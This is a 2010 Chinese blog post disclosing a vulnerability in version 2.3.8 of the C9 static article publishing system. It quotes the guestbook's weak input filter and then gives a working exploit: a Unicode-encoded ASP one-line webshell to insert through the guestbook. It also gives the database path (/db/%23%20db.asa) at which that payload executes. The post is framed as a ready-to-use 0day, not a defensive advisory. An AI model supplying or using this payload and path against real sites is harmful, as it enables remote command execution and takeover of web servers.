C9静态文章发布系统0day

2010, April 8, 9:50 AM. 漏洞分析
Submitted by admin

C9静态文章发布系统 2.3.8 版 留言本过滤不严导致插入一句话

代码:

names=funstrs(request.Form("names"))
code=funstrs(request.Form("mg"))
title=funstrs(request.Form("title"))
checkcode=funstrs(request.Form("checkcode"))

可以看到,留言内容经过funstrs函数的过滤,再看看funstrs函数是怎么写的,

Function funstr(str) 
 str = trim(str)  
 str = replace(str, "<", "&lt;", 1, -1, 1)
 str = replace(str, ">", "&gt;", 1, -1, 1)
 str = replace(str,"'","‘")
 
 funstr = str
End Function

简单的过滤了<,>,',等内容,我们可以将一句话经过Unicode加密,┼攠數畣整爠煥敵瑳∨≡┩愾 插入数据库,数据库地址为/db/%23%20db.asa

Tags: c9

« 上一篇 | 下一篇 »

只显示10条记录相关文章
C9静态文章发布系统漏洞 0day (浏览: 9100, 评论: 0)
C9静态文章发布系统漏洞 (浏览: 8348, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):